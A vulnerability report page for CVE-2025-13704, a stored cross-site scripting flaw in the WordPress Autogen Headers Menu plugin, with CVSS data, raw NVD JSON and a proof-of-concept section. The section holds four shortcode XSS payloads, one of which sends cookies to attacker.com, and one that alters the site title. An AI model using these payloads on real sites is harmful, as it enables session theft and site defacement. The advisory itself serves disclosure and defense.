Security Vulnerability Report
中文
CVE-2025-13704 CVSS 6.4 MEDIUM

CVE-2025-13704

Published: 2026-01-09 12:15:52
Last Modified: 2026-04-15 00:35:42

Description

The Autogen Headers Menu plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'head_class' parameter of the 'autogen_menu' shortcode in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Autogen Headers Menu plugin <= 1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Autogen Headers Menu - Stored XSS PoC --> <!-- Required: Contributor-level access or higher --> <!-- PoC 1: Basic XSS via shortcode --> [autogen_menu head_class='"><script>alert(document.cookie)</script>'] <!-- PoC 2: Event handler based XSS --> [autogen_menu head_class='" onmouseover="alert(String.fromCharCode(88,83,83))" style="background:red" x="'] <!-- PoC 3: img onerror XSS --> [autogen_menu head_class='"><img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>"] <!-- PoC 4: Stored DOM-based XSS --> [autogen_menu head_class='</script><script>fetch("/wp-admin/admin-ajax.php?action=update&option=blogname=<img src=x onerror=alert(document.domain)>")</script>']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13704", "sourceIdentifier": "[email protected]", "published": "2026-01-09T12:15:51.583", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Autogen Headers Menu plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'head_class' parameter of the 'autogen_menu' shortcode in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Autogen Headers Menu para WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'head_class' del shortcode 'autogen_menu' en todas las versiones hasta la 1.0.1, ambas inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/autogen-headers-menu/tags/1.0.1/index.php#L115", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/autogen-headers-menu/tags/1.0.1/index.php#L53", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/autogen-headers-menu/trunk/index.php#L115", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/autogen-headers-menu/trunk/index.php#L53", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a63bf106-78cf-441b-a1b3-77ec1cf6c22b?source=cve", "source": "[email protected]"}]}}